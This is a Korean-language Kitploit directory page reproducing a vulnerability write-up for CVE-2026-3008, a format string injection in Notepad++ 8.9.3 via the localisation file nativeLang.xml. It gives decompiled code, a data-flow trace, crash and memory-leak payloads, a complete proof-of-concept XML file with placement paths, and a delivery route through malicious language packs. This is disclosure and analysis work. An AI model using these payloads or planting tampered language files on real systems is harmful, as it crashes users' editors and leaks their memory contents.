Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-3008 — # CVE-2026-3008 기술 분석 및 개념 증명 Notepad++ 8.9.3의 nativeLang.xml을 통한 형식 문자열 주입(format string injection) 취약점으로, 서비스 거부(denial of service) 및 정보 노출(information disclosure)을 가능하게 하는 기술 분석과 개념 증명입니다. | Kitploit
도구/GitHubGitHub/llgsjsm/cve-2026-3008
Vulnerability AnalysisExploitationWeb SecurityMalware AnalysisBinary Analysis
GitHubllgsjsm/cve-2026-3008

CVE-2026-3008

# CVE-2026-3008 기술 분석 및 개념 증명 Notepad++ 8.9.3의 nativeLang.xml을 통한 형식 문자열 주입(format string injection) 취약점으로, 서비스 거부(denial of service) 및 정보 노출(information disclosure)을 가능하게 하는 기술 분석과 개념 증명입니다.

저장소 보기
4개월 전아직 검토되지 않음
웹사이트

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-3008 — Notepad++ 8.9.3 nativeLang.xml을 통한 형식 문자열 주입

취약점

검색 작업이 결과를 생성하면 sub_1400916C0은 nativeLang.xml에서 지역화된 문자열을 검색하여 이를 wsprintfW에 형식 문자열로 직접 전달하여 적중 횟수 레이블을 포맷합니다:

root@kitploit:~
sub_140099E60(v37, v51, *(unsigned int *)(a1 + 196));  // 지역화된 문자열 가져오기
v38 = (const WCHAR *)v51;
if ( v53 > 7 )
    v38 = v51[0];                                       // SSO: 힙 포인터
wsprintfW((LPWSTR)(a1 + 0xC8), v38);                   // v38이 형식 문자열

이 문자열은 데이터 흐름의 어느 지점에서도 검증 없이 nativeLang.xml의 <find-result-hits> 속성에서 비롯됩니다:

root@kitploit:~
nativeLang.xml
  → TinyXML 파서          (XML 속성 읽기, 콘텐츠 검증 없음)
  → NativeLangSpeaker       (UTF-8 → UTF-16 변환, 검증 없음)
  → sub_140099E60           ($INT_REPLACE$ 치환 — 형식 지정자가 유지됨)
  → wsprintfW(buf, v38)     (v38이 데이터가 아닌 형식 문자열 인수로 사용됨)

wsprintfW는 두 개의 인수만으로 호출됩니다 — 가변 인수 데이터 인수가 없습니다. v38의 모든 형식 지정자는 x64 호출 규약의 인수 슬롯(R8, R9, 스택)에서 값을 읽으며, 여기에는 잔여 레지스터 쓰레기 값이 포함되어 있습니다.


영향을 받는 구성 요소

필드값
함수sub_1400916C0 (검색 결과 패널 초기화기)
싱크 주소0x140091E6D
트리거결과를 생성하는 모든 검색 (모두 찾기, 파일에서 찾기, 모두 표시, 모두 바꾸기)

sub_1400916C0은 FindResults WndProc(sub_140089BF0)의 네 곳에서 호출됩니다:

주소트리거
0x14008B63B파일에서 찾기
0x14008B72D현재 문서 / 모든 문서에서 모두 찾기
0x14008B97E모두 바꾸기
0x14008B9FE모두 표시

영향

충돌 — %s (DoS)

root@kitploit:~
<find-result-hits value="%s%s%s%s%s%s%s%s"/>

각 %s는 쓰레기 레지스터 또는 스택 값을 WCHAR* 포인터로 해석합니다. 첫 번째 잘못된 주소는 즉시 액세스 위반(STATUS_ACCESS_VIOLATION, 0xC0000005)을 트리거합니다. 악성 파일이 제거될 때까지 Notepad++는 이후의 모든 검색에서 충돌합니다 — 안정적이고 일회성인 DoS입니다.

정보 공개 — %08lx

root@kitploit:~
<find-result-hits value="%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx.%08lx"/>

스택 및 레지스터 내용이 DWORD 값으로 읽혀 16진수로 포맷되어 검색 결과 패널 탭에 표시됩니다. 실시간 테스트에서 관찰된 출력:

root@kitploit:~
8000c.d.5852bb18.0.1f8.61e.e0702.7b1052e0

5852bb18 및 7b1052e0과 같은 값은 잘린 64비트 포인터 조각입니다.

악용 한계

wsprintfW(user32.dll)는 %n을 지원하지 않습니다 — write-what-where 프리미티브가 없습니다. 하드코딩된 1024자 출력 제한은 대상 버퍼 크기와 정확히 일치하므로 힙 버퍼 오버플로우를 배제합니다. 이 취약점은 DoS + 정보 공개로 확인되었습니다. 이 형식 문자열만으로는 코드 실행이 불가능합니다.


공격 벡터

nativeLang.xml은 기본적으로 존재하지 않습니다 — 영어 설치본은 영향을 받지 않습니다. 사용자가 설정 → 기본 설정 → 일반 → 지역화를 통해 비영어 언어를 선택하면 Notepad++는 해당 파일을 다음 위치에 기록합니다:

에디션경로
설치형%APPDATA%\Notepad++\nativeLang.xml
포터블<npp_directory>\nativeLang.xml

제공되는 94개의 지역화 파일 중 43개에 <find-result-hits> 요소가 포함되어 있습니다. 해당 언어 사용자는 nativeLang.xml이 변조된 경우 취약합니다 — 예를 들어 포럼이나 다운로드 사이트를 통해 배포되는 악성 커뮤니티 언어 팩을 통해서입니다. 공격자는 다른 모든 문자열에 대해 정상적인 번역을 포함할 수 있으므로 파일이 정상적으로 보이게 만들 수 있습니다.


개념 증명

다음 파일을 <npp_directory>\nativeLang.xml(포터블) 또는 %APPDATA%\Notepad++\nativeLang.xml(설치형)에 배치한 다음 Notepad++를 열고 결과를 생성하는 검색을 수행합니다(Ctrl+F → 현재 문서에서 모두 찾기).

root@kitploit:~
<?xml version="1.0" encoding="UTF-8" ?>
<NotepadPlus>
    <Native-Langue name="PoC" filename="poc.xml" version="8.9.3">
        <Menu><Main></Main></Menu>
        <MiscStrings>
            <find-result-hits value="%s%s%s%s%s%s%s%s"/>
        </MiscStrings>
    </Native-Langue>
</NotepadPlus>

결과: Notepad++는 wsprintfW에서 액세스 위반으로 즉시 충돌합니다.

추가 페이로드 변형은 payloads/ 디렉토리에 있습니다.

도구 다운로드